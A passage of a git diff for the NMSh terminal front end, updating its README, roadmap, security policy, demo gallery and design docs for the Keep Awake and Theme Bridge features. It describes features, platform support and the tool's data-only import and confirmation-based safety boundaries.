fixtures) | Same as iTerm2 for images; new windows through `wezterm cli spawn`. Not physically validated. | -| Windows Terminal (via WSL) | Capability profile (CI fixtures) | Detected from `WT_SESSION`; mouse, hyperlinks and truecolor only. Not physically validated. | -| Unknown or embedded hosts | Generic | Baseline capabilities, upgraded only by protocol replies. | +| | What it is | What NMSh does | +| --- | --- | --- | +| Oh My Zsh | Zsh framework | Detects it; guided install that keeps your `.zshrc` (you run the official installer); compares and can restore `.zshrc.pre-oh-my-zsh` after a backup and confirmation | +| Powerlevel10k | Zsh prompt theme | Optional prompt provider rendered in an isolated helper; `p10k configure` on request | +| Starship, Oh My Posh | Cross-shell prompt engines | Optional prompt providers run directly by NMSh, no rc changes | +| Prezto, Zim, zinit, Antidote | Zsh ecosystem tools | Detected and shown, inspect-only | -NMSh owns terminal-native interaction; the editor around it owns editor-native interaction. `/find` and `/filter` search and filter the transcript; `/open path:line:col` and `/open-diff a b` hand files to Zed or VS Code (or `$VISUAL`/`$EDITOR`) instead of rebuilding an editor inside the terminal. See [product boundary and HostActions](docs/architecture/host-actions.md). Inline images (`/about`) appear only where the host implements Kitty graphics or iTerm2 images ([image surface](docs/architecture/image-surface.md)). +NMSh never sources or installs framework code on its own, and never merges shell configuration. -Where a host differs, NMSh says so factually (for example, "Appearance is configured by Zed."). Host profiles only supply conservative capability hints, and optional protocols still come from the shared probe. +**Terminals.** NMSh is host-independent. Zed, VS Code, Ghostty and Terminal.app are used daily during development, and Ghostty and Terminal.app are physically validated; Kitty, iTerm2, WezTerm and Windows Terminal (through WSL) have capability profiles covered by CI fixtures but have not had the same physical QA. Hosts differ in keyboard and mouse reporting — see [terminal host](docs/architecture/terminal-host.md) and [HostActions](docs/architecture/host-actions.md) for details, and `/keyboard` for Ghostty key forwarding (Option+Backspace, Cmd+A). -## Keyboard Behavior +**Accessibility.** Safe/ASCII glyphs (`/glyphs`), `NO_COLOR`, 256-color terminals and Reduced Motion are first-class: meaning never depends on color or icons alone, and motion stops when you ask it to. See [accessibility](docs/accessibility/). -- **Enter:** Submit command -- **Ctrl+J:** Portable multiline newline fallback -- **Shift+Enter (Ghostty/macOS Terminal):** Insert a newline in the editor -- **Option+Left/Right:** Move cursor by word -- **Option+Backspace:** Delete previous word (requires Ghostty forwarding setup) -- **Ctrl+W:** Delete previous word -- **Cmd+A:** Select all input (requires Ghostty forwarding setup) -- **Cmd+Up/Down:** Jump to top/bottom of buffer (requires Ghostty forwarding setup) -- **Shift+Left/Right:** Character selection -- **Up/Down:** Recall previous/next submitted commands when the caret is on the first/last editor line; Down past the newest restores your unsent draft. Multiline drafts move by line first. A completion or slash-command menu is entered with Down; Up from its first row returns to history. Panels and /history, /dirs keep their own Up/Down. -- **Ctrl+F:** Find in the transcript (adds a term; terms AND together). `/find` does the same; Cmd+F stays the host's own find. -- **PageUp/PageDown, mouse wheel:** Scroll output history +## Safety and ownership -*(Note: In VS Code, Shift+Enter is often indistinguishable from Enter by default. Use Ctrl+J as a reliable multiline fallback.)* +- Everything runs locally. No account, no telemetry, no cloud backend ([privacy](docs/privacy.md)). +- **Your shell config is code.** NMSh does not edit rc files behind your back. The few changes it can make on request (for example a Theme Bridge include, or restoring a backed-up `.zshrc`) are shown as an exact diff and wait for your confirmation. +- **Imports are data.** Theme files are parsed with bounded data parsers; nothing is sourced, templated or fetched. `/dotfiles` never runs anything from a repository; it imports supported settings and leaves executable configs inspect-only. +- **NMSh owns what it writes, and only that.** Generated files are recorded in an ownership ledger and are replaced or removed only while they still match what NMSh wrote. Keep Awake stops only the process it can prove it started. +- **Installs are explicit.** `/tools` shows the exact package-manager command and asks first; nothing elevates silently. -### /keyboard & /appearance +See [SECURITY.md](SECURITY.md) to report a vulnerability. -Some advanced shortcuts (like Option+Backspace, Cmd+A) are normally consumed by the terminal host before NMSh sees them. The `/keyboard` slash command installs managed, opt-in forwarding rules exclusively into your Ghostty configuration. It does not alter any macOS system keybindings. +## Known limitations -The `/appearance` slash command provides an interactive UI to adjust Ghostty's window background opacity, blur mode, and blur radius. +- The completion bridge is close to, but not full parity with, a configured interactive zsh. +- Highlighting covers common command structure, not the entire zsh grammar. +- Powerlevel10k's right prompt, instant prompt and gitstatus daemon are not reproduced by the provider. +- Theme Bridge recolors new tool instances; editors and shells already running outside NMSh are not recolored live. delta is shown but not managed (it reads bat's cache and git config, which NMSh leaves alone). Terminal title ownership (OSC 0/2) is not implemented. +- Hosts without mouse reporting scroll the transcript with PageUp/PageDown. -## Known Limitations +## Documentation -- **Mouse behavior:** Native mouse selection or Shift-drag behavior may feel different because NMSh enables mouse reporting. -- **Hosts without mouse reporting:** on baseline hosts (for example Terminal.app) scroll the transcript with PageUp/PageDown. A host setting that turns wheel scrolling into arrow keys on the alternate screen makes the wheel walk command history instead. -- **ZLE widgets:** Certain complex third-party ZLE (Zsh Line Editor) widgets are not directly portable. -- **zsh grammar:** Syntax highlighting intentionally does not implement the entire, exhaustive zsh grammar; it focuses on providing fast semantic assistance for common command structures. Highlighting colors are theme-aware via `/syntax`. -- **Completion:** The completion bridge is not full parity with a configured interactive zsh, and native `fzf-tab` is not supported yet ([#52](https://github.com/raiseCatError/notMyShell/issues/52)). -- **Nested activity:** Only directly observed Node TAP v13 streams produce nested activity rows. -- **Powerlevel10k provider:** The right prompt, instant prompt, gitstatus daemon, and p10k settings defined only in `.zshrc` are not reproduced. +- [Architecture](ARCHITECTURE.md) — how NMSh works end to end, in plain language; deeper docs live under `docs/architecture/` and `docs/design/` +- [Demo gallery](docs/demos.md) — every feature clip in one place +- [ShellAdapter](docs/architecture/shell-adapter.md), [platforms](docs/architecture/platforms.md), [terminal stack](docs/architecture/terminal-stack.md) +- [Themes, imports and Theme Bridge](docs/design/theme-bridge.md), [Chroma and UI chrome](docs/design/chroma-and-ui-chrome.md), [idle visuals](docs/design/idle-visuals.md) +- [Roadmap](ROADMAP.md) · [Changelog](CHANGELOG.md) · [Support](SUPPORT.md) ## Development ```sh -npm run build -npm run typecheck -npm test -git diff --check +npm run verify:fast # build + core tests (iteration) +npm run verify # build + full suite +npm run demos # re-record the README clips with VHS (see scripts/demos/README.md) ``` -## Community & Documentation - -- **Contributing** → [CONTRIBUTING.md](CONTRIBUTING.md) -- **Security** → [SECURITY.md](SECURITY.md) -- **Roadmap** → [ROADMAP.md](ROADMAP.md) -- **Changelog** → [CHANGELOG.md](CHANGELOG.md) - -See [ROADMAP.md](ROADMAP.md) for future multi-shell architecture and extensibility plans. - -## Security & Privacy - -- Everything executes locally on your machine through your local shell. -- No cloud backend or account is required. -- No telemetry is collected; agent activity stats and session notices are local, optional and never contain prompts or output. -- NMSh never edits your shell configuration. See [docs/privacy.md](docs/privacy.md). +Contributor and agent guidance: [CONTRIBUTING.md](CONTRIBUTING.md) and [AGENTS.md](AGENTS.md). `NMSH_DETERMINISTIC=1` makes presentation repeatable for tests and recordings ([deterministic presentation](docs/testing/deterministic-presentation.md)). ## License -NMSh is licensed under the **GNU General Public License v3.0** (GPL-3.0-only). See the `LICENSE` file for details. +NMSh is licensed under the **GNU General Public License v3.0** (GPL-3.0-only). See [LICENSE](LICENSE). diff --git a/ROADMAP.md b/ROADMAP.md index 7f9a040f..db7cf9dc 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -6,6 +6,7 @@ |---|---| | **Current release** | [v0.16.0 — Sessions, Agents & Portability](https://github.com/raiseCatError/notMyShell/releases/tag/v0.16.0) — released | | **Next development milestone** | [v0.17.0 — Compatibility & Discovery](https://github.com/raiseCatError/notMyShell/milestone/15) | +| **In development (unreleased)** | [PR #315](https://github.com/raiseCatError/notMyShell/pull/315) — Theme Studio, Theme Bridge, tool configuration, shell frameworks, Keep Awake; see CHANGELOG → Unreleased | | **Unscheduled** | [Future / Backlog](https://github.com/raiseCatError/notMyShell/milestone/7) | | **Development branch** | `dev` | | **Project board** | [NMSh Development](https://github.com/users/raiseCatError/projects/1) | @@ -145,7 +146,7 @@ The work formerly planned as v0.8–v0.15 ships together with v0.16 in one cumul | Release | Theme | Tracker | |---|---|---| -| v0.18.0 | Theme Bridge and semantic terminal integration | [#304](https://github.com/raiseCatError/notMyShell/issues/304), delivered in focused slices | +| v0.18.0 | Theme Bridge and semantic terminal integration | [#304](https://github.com/raiseCatError/notMyShell/issues/304), delivered in focused slices; in development on [PR #315](https://github.com/raiseCatError/notMyShell/pull/315), not released. Still deferred: terminal title ownership (OSC 0/2), delta custom styles, terminal emulator and editor base-theme takeover. | | v0.19.0 | NMSh Native module ecosystem: architecture, lazy probes, caching and provenance first, then a bounded high-value module set (not the whole catalog) | [#305](https://github.com/raiseCatError/notMyShell/issues/305) | ## Backlog — future, unscheduled diff --git a/SECURITY.md b/SECURITY.md index 4568ad23..f602c8f8 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -4,7 +4,7 @@ Security is critical for NMSh, as it executes and presents shell commands and ha ## Supported Versions -Formal stable version releases do not exist yet. Security fixes currently target the latest `master` branch (and the latest published release when releases begin). +Security fixes target the latest stable release (currently v0.16.0, the `master` branch) and the active development branch. Older releases are not patched separately; update with `/update`. ## Scope @@ -17,6 +17,18 @@ Examples of in-scope security vulnerabilities include: - Arbitrary file access - Privilege or security boundary mistakes - Unsafe configuration writes +- A path where NMSh executes content it should only read (theme imports, dotfiles repositories, tool configs) +- NMSh stopping, replacing or deleting something it cannot prove it created + +## Boundaries NMSh is designed to keep + +Reports that break any of these are in scope: + +- **Shell configuration is executable.** NMSh never sources, merges or silently edits rc files or framework code; the few edits it offers (an include line, restoring a backed-up `.zshrc`) are exact diffs applied only after confirmation. +- **Imports are data.** Theme imports use bounded data parsers (no includes, templates, Lua, entities or network). `/dotfiles` never runs repository content, clones only after confirmation (no submodules, hooks disabled), and fails closed when a copy cannot be verified exactly. +- **Ownership.** Generated files are tracked in an ownership ledger and replaced or removed only while their content still matches; Keep Awake signals only a process whose token and exact command line match its record. +- **Installers.** Tool installs are typed package-manager argv shown before confirmation; nothing elevates silently. Special installers (Oh My Zsh) are never run by NMSh. +- **External prompt providers** (Starship, Oh My Posh, Powerlevel10k) run as bounded, non-interactive helpers with argv only; their output is treated as untrusted display text. ## Reporting a Vulnerability diff --git a/SUPPORT.md b/SUPPORT.md index d0c8e551..fe1277cb 100644 --- a/SUPPORT.md +++ b/SUPPORT.md @@ -3,7 +3,7 @@ If you need help with NMSh, please follow the guidelines below to ensure your request reaches the right place. ## Bug Reports -If you have encountered a bug, panic, or reproducible crash, please open a **[Bug Report](../../issues/new?template=bug_report.yml)** via GitHub Issues. Make sure to fill out the requested template so we can reliably reproduce the problem. +If you have encountered a bug, panic, or reproducible crash, please open a **[Bug Report](../../issues/new?template=bug_report.yml)** via GitHub Issues. Make sure to fill out the requested template so we can reliably reproduce the problem. Including the output of `nmsh doctor` (or `/doctor`) helps; it contains no history, prompts or secrets. ## Feature Requests If you have an idea for a new feature or improvement, please open a **[Feature Request](../../issues/new?template=feature_request.yml)** via GitHub Issues. diff --git a/assets/readme/composer.gif b/assets/readme/composer.gif new file mode 100644 index 00000000..9ebc1561 Binary files /dev/null and b/assets/readme/composer.gif differ diff --git a/assets/readme/keep-awake.gif b/assets/readme/keep-awake.gif new file mode 100644 index 00000000..9dc31a6e Binary files /dev/null and b/assets/readme/keep-awake.gif differ diff --git a/assets/readme/keep-awake.png b/assets/readme/keep-awake.png new file mode 100644 index 00000000..a1e2163d Binary files /dev/null and b/assets/readme/keep-awake.png differ diff --git a/assets/readme/nmsh-composer.png b/assets/readme/nmsh-composer.png new file mode 100644 index 00000000..b180dbc2 Binary files /dev/null and b/assets/readme/nmsh-composer.png differ diff --git a/assets/readme/nmsh-demo.gif b/assets/readme/nmsh-demo.gif index 1ba5349f..0f93b8c0 100644 Binary files a/assets/readme/nmsh-demo.gif and b/assets/readme/nmsh-demo.gif differ diff --git a/assets/readme/screensavers.gif b/assets/readme/screensavers.gif new file mode 100644 index 00000000..2bc3bcf9 Binary files /dev/null and b/assets/readme/screensavers.gif differ diff --git a/assets/readme/sessions.gif b/assets/readme/sessions.gif new file mode 100644 index 00000000..6697956b Binary files /dev/null and b/assets/readme/sessions.gif differ diff --git a/assets/readme/theme-bridge.gif b/assets/readme/theme-bridge.gif new file mode 100644 index 00000000..520d7d8c Binary files /dev/null and b/assets/readme/theme-bridge.gif differ diff --git a/assets/readme/theme-studio.png b/assets/readme/theme-studio.png new file mode 100644 index 00000000..7aa9aafb Binary files /dev/null and b/assets/readme/theme-studio.png differ diff --git a/assets/readme/themes.gif b/assets/readme/themes.gif new file mode 100644 index 00000000..e95203bb Binary files /dev/null and b/assets/readme/themes.gif differ diff --git a/assets/readme/tools.gif b/assets/readme/tools.gif new file mode 100644 index 00000000..0e724c16 Binary files /dev/null and b/assets/readme/tools.gif differ diff --git a/assets/readme/vespyr-divider.svg b/assets/readme/vespyr-divider.svg new file mode 100644 index 00000000..109c141e --- /dev/null +++ b/assets/readme/vespyr-divider.svg @@ -0,0 +1,65 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/dev/tapes/README.md b/dev/tapes/README.md index 524b80d8..fb6e5573 100644 --- a/dev/tapes/README.md +++ b/dev/tapes/README.md @@ -1,15 +1,19 @@ -# Demo capture: VHS and asciinema +# Development VHS tapes -NMSh keeps two recording tools with separate jobs and invents no third: +Two VHS sets with separate jobs: -- **VHS** (`dev/tapes/*.tape`) is the canonical *scripted, reproducible* demo - tool: README captures, deterministic feature demos (Settings, Chroma, idle - visuals) and development tapes. -- **asciinema** (`scripts/readme-demo/record.cjs`, via tmux) records *real - interactive sessions*: debugging and support evidence, replayable terminal - event streams and optional web playback. +- **`scripts/demos/`** is the canonical source of README and `docs/demos.md` + media: `npm run demos` records committed tapes into `assets/readme/` from a + disposable demo home. Change those tapes when published media should change. +- **`dev/tapes/`** (this directory) holds development captures: feature and + regression looks (Settings, Chroma, idle visuals, shimmer) written to the + ignored `dev/tapes/output/`. They are never published as-is. -Neither is a runtime dependency, and neither is installed for NMSh users. +The earlier asciinema/tmux recorder (`scripts/readme-demo/`) was retired: it +recorded against the maintainer's real home. Use plain `asciinema rec` by hand +when a real interactive session is needed as support evidence. + +Neither set is a runtime dependency, and neither is installed for NMSh users. ## VHS tapes diff --git a/docs/demos.md b/docs/demos.md new file mode 100644 index 00000000..15a77c3e --- /dev/null +++ b/docs/demos.md @@ -0,0 +1,62 @@ +# NMSh demo gallery + +Every clip is the real NMSh binary, recorded with VHS from the committed tapes in [`scripts/demos/`](../scripts/demos/README.md) against a disposable demo home (`~/Projects/demo`). Re-record with `npm run demos`. They were recorded on macOS; Linux and Windows/WSL behavior is covered by automated tests, not by these recordings. + +

Vespyr, the NMSh cat

+ +## Using NMSh + +Typing with semantic highlighting, a live test run in the transcript, and a theme change from `/theme`. + +NMSh hero demo + +## Composer and prompts + +`/prompt` switches the Native prompt to one-line and the Soft style; `/layout` moves the composer to the top, then to Flow, right after the newest output. See [prompt customization](architecture/prompt-customization.md). + +Composer and prompt changes + +## Theme Studio + +`/theme` previews each built-in theme on the real prompt, interface and syntax roles before you set it, and duplicates one into Custom for editing. See [themes, imports and Theme Bridge](design/theme-bridge.md). + +Theme Studio + +## Theme Bridge and integrations + +`/theme-bridge` is opt-in and starts with every tool Independent; each target shows how NMSh would theme it (environment, managed file or detected only). `/integrations` reviews the health of everything NMSh manages. This clip shows the control surface only; external tools were not driven in the recording. + +Theme Bridge panel and integrations review + +## Providers and tools + +`/providers` shows each job's provider inline; `/tools` lists curated tools with what is relevant to the current project, details and the exact install plan. Nothing was installed in the recording. + +Providers and tools + +## Live sessions + +The build keeps running after its window goes away (the frontend gets `SIGHUP`, as from a closing window); `nmsh` offers the detached session and reattaches with the output that arrived meanwhile. + +Detach and reattach a live session + +## Screensavers and Vespyr + +The `/screensaver` gallery previews idle visuals inline: Aurora Drift, Warp Starfield, Night Fireworks, Bouncing Vespyr and the screen-based Black Hole. They never start on their own under Reduced Motion. See [idle visuals](design/idle-visuals.md). + +Screensaver gallery + +## Keep Awake + +`/zoomies display` starts Keep Awake and hands the prompt straight back; `Awake · Display` sits on the free composer edge and in the Status Strip, the idle reminder adds the time and a muted `/zoomies stop`, and stopping removes it all. Recorded with the inert demo backend, so nothing was kept awake. See [Keep Awake](design/keep-awake.md). + +Keep Awake + +## Stills + +| | | +| --- | --- | +| Composer with the Native prompt | Theme Studio | +| Composer and Native prompt | Theme Studio | +| Keep Awake idle reminder | | +| Keep Awake with the idle reminder | | diff --git a/docs/design/keep-awake.md b/docs/design/keep-awake.md new file mode 100644 index 00000000..b6797373 --- /dev/null +++ b/docs/design/keep-awake.md @@ -0,0 +1,57 @@ +# Keep Awake + +`/caffeinate`, `/awake` and `/zoomies` are three names for one feature: keep the computer (and optionally the display) awake for a while, using the operating system's own mechanism, and show that it is on without turning it into a warning. + +```text +/zoomies open the panel (starts nothing by itself) +/zoomies display Display mode until stopped +/zoomies system 2h System mode for two hours (durations: 45s, 30m, 2h; up to 7 days) +/zoomies status mode, backend, start time, duration, timeout, PID +/zoomies stop end it +``` + +## Backends + +| Platform | Mechanism | Modes | +| --- | --- | --- | +| macOS | Apple `/usr/bin/caffeinate` with fixed flags (`-i`, `-d -i`, `-s`, `-d -i -s`, optional `-t`) | Idle, Display, System (AC power only, per Apple), All | +| Linux | `systemd-inhibit --what=idle\|sleep --mode=block` around an NMSh-owned wait helper | Idle, System, All. **Display is unavailable**: the systemd inhibitor is not a display API, so NMSh says so instead of pretending. Lid switch and power keys keep their normal behavior. Without `systemd-inhibit` there is no backend. | +| Windows | `SetThreadExecutionState` from a fixed hidden PowerShell helper (absolute System32 path) | Idle and System are the same Windows assertion; Display adds display-required. No away mode, no `powercfg`. | + +Every value that reaches a child process is an enum or a validated integer. Power settings, desktop preferences and rc files are never changed. + +## Ownership and lifecycle + +- The assertion is a **detached NMSh-owned background process** started by the Keep Awake controller, never a command in the user's shell: it is not written to the PTY, has no terminal stdio, creates no shell history, transcript block or foreground-command state, and the composer comes back immediately. Typing `caffeinate` yourself is an ordinary foreground shell command and is never intercepted. +- It outlives the NMSh window and ends on Stop or its timeout. +- `keep-awake.json` in the NMSh config directory records a random token and the exact launch. A record counts as NMSh's only while its process is alive and its command line still matches; anything unprovable is cleared, never killed. `/zoomies stop` therefore never touches a `caffeinate` you started elsewhere. +- Changing mode asks first (default No) and starts the new assertion before releasing the old one. +- Ask reads and changes the same controller: status questions answer directly; start, change, timed and stop requests are typed actions behind Ask's Yes. + +## Presentation + +Off renders nothing anywhere. While active, NMSh shows it in this order of prominence: + +1. **Composer accessory** — `Awake · Display` (Text), or with the semantic icon (Icon, Icon + text; Safe glyphs fall back to text). +2. **Status Strip** — always included while the strip is on (no per-item switch); it narrows to `Awake`, then the glyph, before anything would drop it. The strip is never turned on for it. +3. **Idle reminder** — after 30 s (configurable) without NMSh input, the accessory adds the time and a muted `/zoomies stop`; if that does not fit where the label is, one muted row next to the composer carries the time and the hint. The next input collapses it. +4. **Screensaver** — a small positioned status (`Awake · Display · 1h 13m`), default Bottom left, six positions, or Off. The saver and Vespyr are not changed. +5. **`/zoomies status`** — full facts. + +### Placement + +The prompt owns its structural space; the accessory moves around it. Each frame the composer's candidate slots (top edge, bottom edge, adjacent row, input trailing) are resolved against the real screen plan as available, occupied or unavailable: + +- **Composer edge** (default): a plain top divider if it fits; otherwise the bottom divider (for example when a header prompt is drawn into the top edge); otherwise one row adjacent to the composer. Dividers Off means both edges are unavailable; dividers are never turned back on. +- **Above composer**: always the adjacent row, before the composer block (for Dock Top too). +- **Input row**: the end of the first input row only while the edit is single-line with room to spare and no right prompt shares that row; the editor's wrapping, caret, selection and mouse hit testing all use the narrowed width. Otherwise the adjacent row. + +A fallback is per frame; the saved preference never changes. Prompt text, the right prompt and provider output are never truncated, shortened or edited for it, and it never enters the transcript, history, `/copy`, archives, the PTY or historical prompt snapshots. + +Both composer edges render through one exact-width edge renderer that sets the accessory into the rule's trailing portion; the Chroma divider animation repaints that same composed edge, and transition tints skip the accessory, so the label neither disappears nor shimmers. + +Colors are theme roles: the accent role while active, the muted role for the reminder, the failure role for errors. `NO_COLOR` and 256-color terminals follow the shared color escape. There is no animation and no recurring OS notification. + +## Demos and tests + +`NMSH_DETERMINISTIC=1 NMSH_KEEP_AWAKE_BACKEND=inert` selects an inert backend (the same detached wait helper without any inhibitor) so tests and VHS recordings exercise the real slash, controller, ownership and presentation paths without keeping a machine awake. `NMSH_DEMO_AWAKE_IDLE_MS` shortens the idle-reminder delay, also only under `NMSH_DETERMINISTIC=1`. Both are ignored otherwise. diff --git a/docs/design/theme-bridge.md b/docs/design/theme-bridge.md new file mode 100644 index 00000000..bd639528 --- /dev/null +++ b/docs/design/theme-bridge.md @@ -0,0 +1,113 @@ +# Native theme library, imports and Theme Bridge + +Tracker: [#304](https://github.com/raiseCatError/notMyShell/issues/304). Module and ecosystem work stays in [#305](https://github.com/raiseCatError/notMyShell/issues/305). + +## One Native theme model + +``` +external theme file → bounded data parser → palette facts → semantic role mapping → NMSh Native theme asset → the existing renderer +``` + +There is one renderer and one theme format (NMSh Theme JSON). *Imported* is provenance, not a second engine: an imported theme is an ordinary Native theme plus a record of where it came from. It keeps working with the source app uninstalled, the file moved, the machine offline or the upstream gone. Nothing watches or re-syncs source files. + +### Library + +`themes` in the configuration holds every user-owned theme asset: + +| Field | Meaning | +| --- | --- | +| `id` | stable identity (`t-` + 12 hex). Names are display only. | +| `theme` | NMSh Theme JSON (prompt roles, UI roles, `dark`, optional `terminal` palette from terminal schemes) | +| `origin` | present only for imports: `kind`, source name, local `sourcePath`, importer version, time. Its presence makes the category **Imported**. | +| `modified` | an imported theme edited in NMSh (the source file is never touched) | + +`nmsh.themeId` names the asset the `custom` palette uses. **Canonical state is `themes` + `nmsh.themeId`.** `customTheme` is a deterministic mirror of that asset, rewritten by normalization on every load and save so existing renderers and older NMSh versions keep reading one theme; a stored `customTheme` is read only to migrate a configuration that has no library yet. + +Migration: a valid legacy `customTheme` becomes one Custom asset with id `legacy-custom`, still active when it was active. Malformed data falls back to Lavender Native. The library holds at most 64 themes; malformed entries are dropped individually. + +Deleting never leaves a dangling reference: the active theme cannot be deleted (choose another first), and a theme pinned by Theme Bridge targets is deleted only after explicit confirmation that those targets become Independent (never another theme). + +Theme references are stable strings: `builtin:`, `builtin:@` (Catppuccin) or `asset:`. One pure resolver turns any reference into an immutable semantic palette (`src/appearance/semanticPalette.ts`); a missing asset is reported, never replaced. + +### Theme Studio (`/theme`) + +Built-in | Imported | Custom | Import, on the shared tab strip. Built-ins are immutable (Set active, Duplicate to Custom, edit a copy). Imported and Custom themes share one editor and the same real Native preview (project, path, Git, Node/Go/Python/Docker, Kubernetes, success/failure, UI text tiers and roles, a syntax sample). Export writes NMSh Theme JSON to the NMSh config `themes/` directory; library provenance (and so any local path) is not part of the exported theme, and settings transfers drop `sourcePath`. + +Selection is available without the studio: Settings → Theme and `/setup appearance` list Built-in families, Imported and Custom themes. + +## Import formats and safety + +Every import is bounded (256 KiB) local data parsing. No network, remote schemas or inheritance, shell sourcing, subprocesses, Lua, zsh themes or template execution. Names are sanitized; every generated role is validated as an NMSh theme. The preview shows the format, name, dark/light interpretation, role swatches, the role mapping and every lossy or ignored concept; Esc stores nothing. + +| Format | Read | Not imported (reported) | +| --- | --- | --- | +| NMSh Theme JSON | everything, validated | – | +| Base16 | base00–base0F (YAML or JSON) | – | +| Base24 | all 24 slots required; ANSI per the Base24 styling spec 0.1.3 | base06, base09, base0F, base10, base11 have no NMSh role | +| Windows Terminal | scheme colors, selection, cursor | – | +| Oh My Posh (JSON, YAML, TOML) | literal hex colors, static `palette` references (`p:name`), segment types as role hints | templates and `*_templates`, conditional `palettes`, named terminal colors, `extends`/remote config, every segment's logic. Roles without a static source keep the base theme's colors. | +| Kitty | `foreground`, `background`, `selection_*`, `cursor`, `color0`–`color15` | `include`/`globinclude`/`envinclude` (never followed), every other directive | +| Ghostty | allowlist: `palette = N=#hex` (0–15), background/foreground, selection colors, cursor color | `config-file` (never followed) and every other option | +| iTerm2 `.itermcolors` | Ansi 0–15, background, foreground, selection, selected text, cursor | DOCTYPE internal subsets and ENTITY declarations are rejected; other color keys are listed as unrepresented | +| WezTerm | declarative TOML `[colors]` (ansi, brights, foreground, background, selection, cursor) and `[metadata] name` | Lua (`.wezterm.lua`) is refused with guidance to export TOML | + +Terminal schemes map through one documented ANSI → role table (project ← magenta, path ← bright black, Git ← blue, Node ← green, Go ← cyan, Python ← yellow, Docker ← bright blue, Kubernetes ← bright magenta, success ← green, failure ← red, accent ← magenta, warning/info ← yellow/cyan), and keep the real background, foreground and 16 colors in the theme's `terminal` palette for Theme Bridge. Parsers: `yaml` (ISC), `smol-toml` (BSD-3-Clause), `fast-xml-parser` (MIT), all data-only. + +Oh My Zsh `.zsh-theme` files are executable shell code; they are never imported or evaluated. + +## Theme Bridge (`/theme-bridge`) + +A master switch (Setup: “Extend colors to tools?”, default No) and **Apply themes**: + +- **Manual** – each target has its own setting: **Independent** (NMSh injects and changes nothing), **Follow NMSh** (the active Native theme) or **Choose theme** (a pinned stable reference to any Built-in, Imported or Custom theme). +- **Follow NMSh** / **Choose theme** – one policy for every target. Per-target rows become view-only; the Manual choices are preserved and return when Manual is chosen again. + +The panel is one persistent surface with inline rows grouped by capability (direct, managed files, detected only); Esc collapses an expanded row before it closes the panel. "Set Independent" stops applying a target; "Remove managed setup" removes NMSh's generated files and the include it added (ledger-checked). + +All targets consume the one resolved semantic palette; each target only maps semantic roles onto its documented roles. Chroma is a live presentation treatment and never reaches generated files. NO_COLOR (non-empty) or no color capability injects nothing. + +| Target | Mechanism | Writes | +| --- | --- | --- | +| fzf | `--color` for fzf launched by NMSh only (version-gated color names, 256/16-color fallback); precedence: Theme Bridge colors first, the launching surface's explicit options last (they win). NMSh-owned launches never read `FZF_DEFAULT_OPTS`. | nothing | +| less / man | `LESS_TERMCAP_md/mb/me/us/ue/so/se` and `GROFF_NO_SGR` through the shell environment sink. `LESS`, `PAGER` and `MANPAGER` are never set. BSD/macOS mandoc already emits the overstrike these recolor; GNU groff needs `GROFF_NO_SGR`. NMSh sets `PAGER=cat` for its own transcript, so plain `man` output inside NMSh is paged only when your `MANPAGER` selects less. | env file | +| File listing colors | GNU `ls`/`gls`: `LS_COLORS` from `vivid generate ` when vivid is installed (local, bounded, output validated), otherwise a small mapping, plus a session-only `--color=auto` wrapper for NMSh shells. BSD/macOS `ls`: `CLICOLOR=1` and an `LSCOLORS` mapping. Independent restores the previous values. | env file, vivid theme file | +| tmux | the colors part of the one NMSh-managed tmux file (shared with `/tmux` Config Studio settings): NMSh-generated of style/colour options only (status, window status, pane borders, messages, modes, menus, popups, clock, display-panes, copy-mode); no keys, layout, plugins, commands or behavior; `set -gq` so older tmux skips unknown options. Optional typed reload `tmux source-file ` on request. New servers need one include line (below). Theme plugins or explicit styles in your tmux.conf are reported as conflicts, not fought. | fragment; include after confirmation | +| Neovim | generated Lua colorscheme `nmsh-bridge` (classic groups, floats, separators, diff, diagnostics with underline/sign/virtual text, common Tree-sitter captures linked onto base groups); data only. | colorscheme; include after confirmation | +| Vim | separate Vim colorscheme with classic groups only, truecolor plus 256-color `cterm` fallback, `background` from the theme. | colorscheme; include after confirmation | +| Helix | native TOML theme `nmsh-bridge` in Helix's themes directory (`$XDG_CONFIG_HOME/helix/themes`, else `~/.config/helix/themes`): a named `[palette]` from the semantic palette, then syntax, markup, diff, diagnostic and editor UI scopes mapped onto it. Generation and activation are separate: activation is one confirmed `theme = "nmsh-bridge"` assignment inserted before the first table of `config.toml`; a config that already selects a theme is never changed (`:theme nmsh-bridge` works by hand). A same-named file NMSh did not write is never overwritten. Helix has no safe CLI theme switch and running instances are not recolored. | theme file; assignment after confirmation | +| bat | a generated `.tmTheme` in bat's themes directory, then a reviewed `bat cache --build` (typed argv), verified with `bat --list-themes`; `BAT_THEME` is set through the environment sink only after verification. | theme file; cache build after confirmation | +| delta | shown, not editable: delta takes syntax themes from bat's cache and diff styles from git config, which NMSh never changes. | nothing | + +Already-running editors and shells outside NMSh are not recolored live; Follow NMSh applies to new instances (and NMSh shells at their next prompt). + +### Shell environment sink + +NMSh writes one generated, validated file per shell syntax (`theme-bridge/environment.{zsh,bash,fish}` in the NMSh config directory): a generation guard plus `nmsh_bridge_apply NAME ` / `nmsh_bridge_clear NAME` lines for an allowlist of variables, with exact zsh/Bash ANSI-C and Fish quoting. Each ShellAdapter's own bootstrap (static NMSh code in its private per-session directory, never the user's rc files) applies it from the prompt hook when it is a regular file owned by the user. `apply` remembers the value it replaced; `clear` restores it only if the variable still holds NMSh's value, so Independent removes exactly what NMSh set. Nothing reaches history or the transcript. New shells apply it at their first prompt; running NMSh shells at their next prompt. + +### Ownership ledger and staged generation + +`theme-bridge/ledger.json` records each managed artifact (target, the fixed NMSh path, mode, theme reference, format, sha256, adapter version) and the exact include lines NMSh inserted. Generation is resolve → render → stage → validate → atomic rename. A file is replaced or removed only when its content still matches the recorded hash; an edited or unrecorded file is reported and left alone. A ledger cannot point NMSh at any other path. One target's failure never affects the others or the active NMSh theme. + +### Includes + +For new tmux/Neovim/Vim/Helix instances NMSh offers one exact include, shown as a diff with the exact target path and applied with the verified config-edit planner (refuses if the file changed since it was shown). Removal removes exactly those lines (and refuses to guess if they appear more than once). + +| Target | File (existing one preferred) | Lines | +| --- | --- | --- | +| tmux | `~/.tmux.conf` or `$XDG_CONFIG_HOME/tmux/tmux.conf` | `# NMSh Theme Bridge …` and `source-file -q ''` | +| Neovim | `init.lua` (or `init.vim` when only that exists) | `pcall(function() vim.opt.runtimepath:append(''); 